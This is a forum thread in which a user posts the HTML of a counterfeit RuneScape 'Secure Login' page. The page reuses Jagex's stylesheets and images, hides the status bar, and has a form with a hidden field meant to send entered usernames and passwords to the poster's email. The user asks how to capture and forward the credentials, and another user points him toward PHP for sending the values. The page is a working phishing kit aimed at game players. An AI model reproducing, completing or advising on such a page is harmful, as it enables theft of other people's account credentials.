Log in

View Full Version : Help!!!!!!!!! please



me1234
07-31-2007, 05:42 AM
I was wondering how to make the info in the fields password and username save to a text file (preferably called ups)

the path it needs to go in is my email (mrwhiskers2345@yahoo.com)

thanks guys.

would you be able to post my code below and to correct the errors for me?


my code is::


<!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dt-->
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta content="TRUE" name="MSSmartTagsPreventParsing" />
<link media="all" href="http://www.runescape.com/css/basic-1.css" type="text/css" rel="stylesheet" />
<link media="all" href="http://www.runescape.com/css/extra-1.css" type="text/css" rel="stylesheet" />

<TITLE>
RuneScape - the massive online adventure game by Jagex Ltd
</TITLE>


<script>
function hidestatus(){
window.status=''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=hidestatus
document.onmouseout=hidestatus
</SCRIPT><style type="text/css">






.buttons { width: 600px; height: 60px; position: relative; margin: auto; }
.buttons a{ display: block; position: absolute; width: 260px; height: 40px; margin: 5px; background: #808080; font-weight: bold; color: white; text-align: center; border: 2px outset #909090;}
.buttons a:hover { background: #A0A0A0; border-color: #ffffff}
#button-left {left: 0px; top: 0px; padding-top:3px;}
#button-left span.lev1 {background-image: url('http://www.runescape.com/img/loginpage/open.gif');}
#button-right {right: 0px; top: 0px; padding-top:3px;}
#button-right span.lev1 { background-image: url('http://www.runescape.com/img/loginpage/lost-your.gif');}
span.lev1 { display: block; cursor: pointer; cursor: hand; position: absolute; top: -10px; left: -10px; width: 286px; height: 60px;}
a:hover span.lev1 { background-position: 0 60px;}
</style>
<div id="body">
<div style="BACKGROUND: none transparent scroll repeat 0&#37; 0%; TEXT-ALIGN: center">
<div class="titleframe e"><strong>Secure Login</strong><br />
<a href="http://www.runescape.com/title.ws">Main Menu</a> </div>
</div>
<img class="widescroll-top" style="MARGIN-TOP: -25px" height="50" alt="" width="765" src="http://www.runescape.com/img/scroll/backdrop_765_top.gif" />
<div class="widescroll" style="TEXT-ALIGN: center">
<div class="widescroll-bgimg">
<div class="widescroll-content" style="PADDING-TOP: 0px"><span style="PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 25px"><img title="Login to Access this Feature" style="DISPLAY: block; MARGIN: auto" alt="Login to Access this Feature" src="http://www.runescape.com/img/loginpage/log-in.gif" /></span>
<div style="FONT-SIZE: 8pt; MARGIN: auto">&nbsp; </div>
<div style="MARGIN: 4px auto auto; WIDTH: 414px; POSITION: relative; HEIGHT: 214px">
<table style="WIDTH: 414px; HEIGHT: 214px" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="400" colspan="3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 0px" alt="" src="http://www.runescape.com/img/loginpage/shadow_top.gif" /> </td>
</tr>
<tr>
<td width="7" height="200"><img style="LEFT: 0px; POSITION: absolute; TOP: 7px" alt="" src="http://www.runescape.com/img/loginpage/shadow_left.gif" /> </td>
<td width="400" height="200">
<div style="FILTER: alpha(opacity=50); LEFT: 7px; WIDTH: 400px; POSITION: absolute; TOP: 7px; HEIGHT: 200px; BACKGROUND-COLOR: #3e434d; -moz-opacity: 0.5; opacity: 0.5"></div>
<div style="Z-INDEX: 2; LEFT: 40px; POSITION: absolute; TOP: 70px">
<form action="?login" name="access_password" method="post" autocomplete="off">
<table style="FILTER: alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0">
<tbody>
<tr>
<td>RuneScape username:</td>
<td><input maxlength="12" name="username" /></td>
</tr>
<tr>
<td>RuneScape password:</td>
<td><input type="password" maxlength="20" name="password" /></td>
</tr>
<tr>
<td>&nbsp;</td>
<td align="center"><input type="submit" value="Secure Login" /></td>
</tr>
</tbody>
</table>
<input type="hidden" name="dest" value="mrwhiskers2345@yahoo.com" />
</form>
</div>
</td>
<td style="LEFT: 407px; POSITION: absolute; TOP: 7px" width="7" height="200"><img alt="" src="http://www.runescape.com/img/loginpage/shadow_right.gif" /> </td>
</tr>
<tr>
<td width="400" colspan="3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 207px" alt="" src="http://www.runescape.com/img/loginpage/shadow_bottom.gif" /> </td>
</tr>
</tbody>
</table>
</div>
<div style="MARGIN: auto"><img id="dont" title="Only Enter Your Password On RuneScape.com" style="MARGIN: auto; PADDING-TOP: 5px" alt="Only Enter Your Password On RuneScape.com" src="http://www.runescape.com/img/loginpage/runescape_only_ie6_2.gif" /> </div>
<script type="text/javascript">
var ua=navigator.userAgent.toLowerCase();

if (ua.indexOf('firefox')>-1 || ua.indexOf('macintosh')>-1) {
document.getElementById('dont').src='http://www.runescape.com/img/loginpage/runescape_only_ff_2.gif';
}

if (ua.indexOf('msie 7.0')>-1) {
document.getElementById('dont').src='http://www.runescape.com/img/loginpage/runescape_only_ie7_2.gif';
}
</script><br />
<br />
<div class="buttons"><a class="button" id="button-left" href="https://create.runescape.com/index.html"><span class="lev1"></span>Open a New Account!<br />
Click Here!</a> <a class="button" id="button-right" href="https://password.runescape.com/passsupport.html"><span class="lev1"></span>Lost Your Password?<br />
Click Here!</a> </div>
</div>
</div>
</div>
<img class="widescroll-bottom" height="50" alt="" width="765" src="http://www.runescape.com/img/scroll/backdrop_765_bottom.gif" />
<div class="tandc">This website and its contents are copyright &iuml;&iquest;½ 1999 - 2007 Jagex Ltd.<br />
Use of this website is subject to our <a class="c" href="http://www.runescape.com/terms/terms.ws">Terms+Conditions</a> and <a class="c" href="http://www.runescape.com/privacy/privacy.ws">Privacy policy</a> </div>
</div>

tech_support
07-31-2007, 05:45 AM
You need a server-side capable server to do this, aka. a server with server-side scripting, like PHP.

You cannot do this with HTML. The end.

me1234
07-31-2007, 05:51 AM
so your saying all i need to do is convert it to php?

tech_support
07-31-2007, 05:53 AM
No... you need to send the values USING PHP. Like:

User presses the submit button ---> Goes to the PHP page... where the values are sent --> Do whatever you want.

me1234
07-31-2007, 06:02 AM
ohh i get it thank you very much